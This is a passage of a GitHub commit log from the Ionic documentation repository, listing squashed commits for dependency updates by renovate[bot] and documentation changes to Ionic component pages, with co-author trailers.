
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22.13.4 (#4011)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6.1.1 (#4015)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6.1.1 (#4016)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22.13.5 (#4017)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency typescript to v5.8.2 (#4023)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22.13.7 (#4022)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22.13.8 (#4025)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6.2.0 (#4019)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6.2.0 (#4018)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6.2.1 (#4031)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6.2.1 (#4032)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22.13.9 (#4030)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* feat(modal): add expandToScroll section (#4021)

* docs(radio): add helperText and errorText section through radio-group (#4034)

Co-authored-by: Brandy Smith <[email protected]>

* docs(toggle): add helperText and errorText section (#4033)

Co-authored-by: Brandy Smith <[email protected]>

* docs(select): add helperText and errorText section (#4029)

Co-authored-by: Brandy Smith <[email protected]>

* docs(checkbox): add helperText and errorText section (#4028)

Co-authored-by: Brandy Smith <[email protected]>

* chore(stackblitz): update ionic angular deps to hardcoded version (#4036)

Co-authored-by: Brandy Smith <[email protected]>

* chore(deps): update ionic to v8.5.0 (#4007)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update react to v19 (#3902)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update react monorepo to v19 (#3901)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22.13.10 (#4038)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

---------

Signed-off-by: Emmanuel Ferdman <[email protected]>
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: Liam DeBeasi <[email protected]>
Co-authored-by: Sean Perkins <[email protected]>
Co-authored-by: Brandy Carney <[email protected]>
Co-authored-by: Lucian I. Last <[email protected]>
Co-authored-by: Marlon Harrison <[email protected]>
Co-authored-by: Maria Hutt <[email protected]>
Co-authored-by: Nikita Barsukov <[email protected]>
Co-authored-by: Daniel Cregg <[email protected]>
Co-authored-by: Brandy Carney <[email protected]>
Co-authored-by: Nishant Vispute <[email protected]>
Co-authored-by: Moose <[email protected]>
Co-authored-by: Michael Wilkinson <[email protected]>
Co-authored-by: Maria Hutt <[email protected]>
Co-authored-by: Kenneth Ng <[email protected]>
Co-authored-by: Elvis Fernando <[email protected]>
Co-authored-by: Tanner Reits <[email protected]>
Co-authored-by: Emmanuel Ferdman <[email protected]>
Co-authored-by: InscurePL2 <[email protected]>
Co-authored-by: Sandeep Salwan <[email protected]>
Co-authored-by: Matthew Harris <[email protected]>
Co-authored-by: Gocho Mugo <[email protected]>
Co-authored-by: Kazuki Furukawa <[email protected]>
Co-authored-by: Brandy Smith <[email protected]>
rdlabo added a commit that referenced this pull request Apr 14, 2025
* chore(deps): update dependency vue-router to v4.4.0 (#3716)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.3.1 (#3713)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.4.29 (#3715)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.3.1 (#3714)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.14.7 (#3712)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.14.8 (#3718)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.4.30 (#3719)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue-tsc to v2.0.22 (#3720)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(demos): update v8 playgrounds to use correct version (#3722)

* chore(deps): update dependency @angular/platform-browser-dynamic to v18.0.5 (#3723)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.4.31 (#3727)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.3.2 (#3726)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.3.2 (#3725)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.14.9 (#3724)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update ionic to v8.2.5 (#3721)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.3.3 (#3731)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.3.3 (#3732)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency typescript to v5.5.3 (#3730)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency web-vitals to v4.2.1 (#3729)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.14.10 (#3733)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(updating): set versions to force major number (#3734)

* docs(angular): add tip for usage of IonRouterLink within navigation (#3735)

Co-authored-by: Maria Hutt <[email protected]>

* docs(icon): update icon playgrounds to use addIcons usage (#3698)

resolves #3688 resolves #2892

* docs(button): update icon playgrounds to use addIcons usage (#3737)

* docs(breadcrumbs): update icon playgrounds to use addIcons usage (#3736)

* docs(chip): update icon playgrounds to use addIcons usage (#3739)

* docs(fab): update icon playgrounds to use addIcons usage (#3740)

* docs(input): update icon playgrounds to use addIcons usage (#3741)

* docs(buttons): update icon playgrounds to use addIcons usage (#3738)

* docs(reorder): update icon playgrounds to use addIcons usage (#3749)

* docs(segment-button): update icon playgrounds to use addIcons usage (#3751)

* docs(tabs): update icon playgrounds to use addIcons usage (#3757)

* docs(input): update `Maskito` documentation (according to the latest major release `3.0.0`) (#3742)

* docs(item): update icon playgrounds to use addIcons usage (#3743)

* docs(item-sliding): update icon playgrounds to use addIcons usage (#3744)

* docs(layout): update icon playgrounds to use addIcons usage (#3745)

* docs(modal): update icon playgrounds to use addIcons usage (#3746)

* docs(range): update icon playgrounds to use addIcons usage (#3747)

* docs(refresher): update icon playgrounds to use addIcons usage (#3748)

* docs(segment): update icon playgrounds to use addIcons usage (#3750)

* docs(select): update icon playgrounds to use addIcons usage (#3752)

* docs(textarea): update icon playgrounds to use addIcons usage (#3753)

* docs(skeleton-text): update icon playgrounds to use addIcons usage (#3754)

* docs(text): update icon playgrounds to use addIcons usage (#3755)

* docs(toolbar): update icon playgrounds to use addIcons usage (#3756)

* docs(theming): update icon playgrounds to use addIcons usage (#3758)

* docs(api): use v8 demos instead of v7 demos for latest playgrounds (#3759)

* docs(api): add missing code to javascript demo index files (#3760)

* chore(deps): update dependency @types/node to v20.14.11 (#3761)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.3.4 (#3762)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.3.4 (#3763)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.4.32 (#3764)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.4.33 (#3767)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency web-vitals to v4.2.2 (#3768)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(native): properly type camera example usage (#3175)

Updating to prevent error message "Type 'string | undefined' is not assignable to type 'string'. 

---------

Co-authored-by: Brandy Carney <[email protected]>

* chore(deps): update ionic to v8.2.6 (#3772)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(api): rename dark theme to palette (#3765)

* docs(api): pass ionicons dependency in the javascript and angular package file (#3766)

* docs(vue): update quickstart to reference the correct file (#3514)

Co-authored-by: Brandy Carney <[email protected]>

* docs(api): update v8 usage for stepped colors (#3770)

* chore(deps): update dependency typescript to v5.5.4 (#3773)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(cli): add a tip to fix live reload not working inside docker (#3201)

Co-authored-by: Brandy Carney <[email protected]>

* chore(deps): update vite-vue to v5.1.0 (#3777)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.4.34 (#3776)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.3.5 (#3775)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.14.12 (#3774)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @vitejs/plugin-vue to v5.1.1 (#3778)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.14.13 (#3779)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @angular/platform-browser-dynamic to v18.1.2 (#3780)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue-router to v4.4.2 (#3784)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @vitejs/plugin-vue to v5.1.2 (#3782)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.14.14 (#3787)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(migration): update version number to 8 for Ionic Vue steps (#3785)

* chore(deps): update dependency vue to v3.4.35 (#3783)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(input, textarea): use a valid element for querySelector (#3786)

Co-authored-by: Brandy Carney <[email protected]>

* chore(deps): update dependency vite to v5.4.0 (#3793)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.4.37 (#3789)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency web-vitals to v4.2.3 (#3791)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue-router to v4.4.3 (#3790)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.0 (#3792)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(item): document the keyboard interactions with item (#3788)

* chore(deps): update dependency @types/node to v20.14.15 (#3794)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.1 (#3798)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.1 (#3799)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.4.38 (#3800)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update ionic to v8.2.7 (#3795)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.16.1 (#3802)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.2 (#3805)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.2 (#3804)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/react to v18.3.4 (#3803)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* fix(input): vue counter example uses maxlength as a number (#3807)

Co-authored-by: Kenneth Ng <[email protected]>

* chore(deps): update dependency vue to v3.5.2 (#3820)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update ionic to v8.3.0 (#3816)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.16.2 (#3811)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.3 (#3819)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/react to v18.3.5 (#3813)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @vitejs/plugin-vue to v5.1.3 (#3812)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @angular/platform-browser-dynamic to v18.2.3 (#3810)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(tabs): add playground for basic usage (#3824)

Co-authored-by: Brandy Carney <[email protected]>

* chore(deps): update dependency vite to v5.4.4 (#3827)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.16.5 (#3821)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.3 (#3822)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.5.3 (#3823)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency typescript to v5.6.2 (#3825)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue-router to v4.4.4 (#3828)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.16.6 (#3840)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update ionic to v8.3.1 (#3834)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.5 (#3830)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.5.5 (#3831)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue-router to v4.4.5 (#3832)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.16.9 (#3841)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/react to v18.3.6 (#3836)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.6 [security] (#3833)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @angular/platform-browser-dynamic to v18.2.6 (#3843)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(app): add documentation and demo for the setFocus method (#3842)

* chore(deps): update ionic to v8.3.2 (#3850)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v20.16.10 (#3844)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/react to v18.3.10 (#3845)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update vite-vue to v5.1.4 (#3848)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.5.10 (#3847)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.8 (#3846)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(slides): update imports for modules  (#3806)

Fix the import of modules, according to the documentation [https://swiperjs.com/swiper-api#custom-build](Swiper Modules)

---------

Co-authored-by: Brandy Carney <[email protected]>

* chore(deps): update dependency @types/react to v18.3.11 (#3851)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @vitejs/plugin-react to v4.3.2 (#3852)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.5.11 (#3853)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(nav): component playground examples (#2498)

* chore(deps): update dependency @types/node to v20.16.11 (#3854)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency typescript to v5.6.3 (#3856)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22 (#3866)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency web-vitals to v4.2.4 (#3865)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.9 (#3863)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.9 (#3862)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.5.12 (#3860)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/react-dom to v18.3.1 (#3859)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update ionic to v8.3.3 (#3861)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update ionic to v8.3.4 (#3870)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @angular/platform-browser-dynamic to v18.2.9 (#3873)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update vite-react (#3871)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.10 (#3869)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/react to v18.3.12 (#3868)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(): merge feature-8.4 docs (#3877)

* docs(select): add `modal` interface to `ion-select` docs (#3872)

* docs(select): update select docs for modal interface

* fix(select): point playground to correct demo

* feat(segment): add playground & docs for segment view (#3875)

* feat(segment): add playground & docs for segment view

* fix(segment-view): api import version

* fix(segment-content): usage & common API sections

* Force CI run

* chore(deps): update ionic to v8.4.0 (#3878)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(datetime): remove non-existent value from presentation (#3879)

* chore(deps): update dependency @vitejs/plugin-vue to v5.1.5 (#3881)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs: update license reference (#3884)

Signed-off-by: Emmanuel Ferdman <[email protected]>

* chore(deps): update dependency vite to v5.4.11 (#3882)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* feat(api): remove @next from @ionic/docs

* fmt

* chore(deps): update dependency vue-router to v4.5.0 (#3890)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update ionic to v8.4.1 (#3889)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22.8.6 (#3876)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency typescript to v5.7.2 (#3888)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @vitejs/plugin-react to v4.3.4 (#3893)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.11 (#3883)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vue to v3.5.13 (#3885)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @angular/platform-browser-dynamic to v18.2.13 (#3891)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @angular/platform-browser-dynamic to v19 (#3892)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22.10.1 (#3896)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(developing): remove Atom from list of recommended editors (#3979)

* chore(deps): update dependency @types/node to v22.10.2 (#3903)

* chore(deps): update dependency @vitejs/plugin-vue to v5.2.1 (#3897)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(angular): update playgrounds to standalone and StackBlitz previews to use WebContainers (#3905)

* docs(input): add missing imports for maskito in React (#3976)

* docs(input-password-toggle): update title to correct component name (#3977)

* docs(glossary): update formatting to remove line breaks around links (#3978)

* docs(playgrounds): rename ev to event for consistency (#3982)

* fix(playground): update template generator to support Angular standalone (#3983)

* docs(input-password-toggle): update vue import (#3984)

closes #3817

* docs(support): add Angular 19 support to table (#3985)

* chore(deps): update dependency @types/node to v22.10.4 (#3988)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(ios, android): update v6 links (#3990)

* chore(deps): update dependency @types/node to v22.10.5 (#3992)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore

* chore

* docs(config): add logLevel to config options (#3998)

* chore(deps): update ionic to v8.4.2 (#4000)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.12 [security] (#3999)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22.10.7 (#3997)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency typescript to v5.7.3 (#3995)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(your-first-app): remove duplicate word and correct grammar (#3994)

* docs(build-options): remove enableProdMode() reference (#3989)

* chore(deps): update react monorepo (#3900)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(gestures): update Animation references to Gesture (#3899)

* chore(deps): update dependency vite to v5.4.13 (#4003)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.13 (#4002)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update react monorepo (#4004)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6 (#3898)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v5.4.14 (#4006)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22.10.10 (#4005)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(toast): remove cssClass property from ToastButton interface (#4001)

closes #3993

* Fix typo

* chore(deps): update dependency @types/node to v22.12.0 (#4008)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6.1.0 (#4010)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6 (#3894)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6.1.0 (#4012)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22.13.4 (#4011)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6.1.1 (#4015)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6.1.1 (#4016)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22.13.5 (#4017)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency typescript to v5.8.2 (#4023)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22.13.7 (#4022)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22.13.8 (#4025)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6.2.0 (#4019)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6.2.0 (#4018)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6.2.1 (#4031)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6.2.1 (#4032)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22.13.9 (#4030)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* feat(modal): add expandToScroll section (#4021)

* docs(radio): add helperText and errorText section through radio-group (#4034)

Co-authored-by: Brandy Smith <[email protected]>

* docs(toggle): add helperText and errorText section (#4033)

Co-authored-by: Brandy Smith <[email protected]>

* docs(select): add helperText and errorText section (#4029)

Co-authored-by: Brandy Smith <[email protected]>

* docs(checkbox): add helperText and errorText section (#4028)

Co-authored-by: Brandy Smith <[email protected]>

* chore(stackblitz): update ionic angular deps to hardcoded version (#4036)

Co-authored-by: Brandy Smith <[email protected]>

* chore(deps): update ionic to v8.5.0 (#4007)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update react to v19 (#3902)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update react monorepo to v19 (#3901)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22.13.10 (#4038)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6.2.2 (#4042)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6.2.2 (#4043)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* docs(badge, tab-bar): add playground to show usage of badges in tab-bar (#4045)

Co-authored-by: Brandy Smith <[email protected]>

* chore(deps): update ionic to v8.5.1 (#4047)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @vitejs/plugin-vue to v5.2.2 (#4046)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/react to v19.0.11 (#4048)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @vitejs/plugin-vue to v5.2.3 (#4049)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/react to v19.0.12 (#4052)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22.13.11 (#4053)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6.2.3 [security] (#4054)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22.13.12 (#4056)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency @types/node to v22.13.13 (#4058)

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

* chore(deps): update dependency vite to v6.2.4 (#4066)

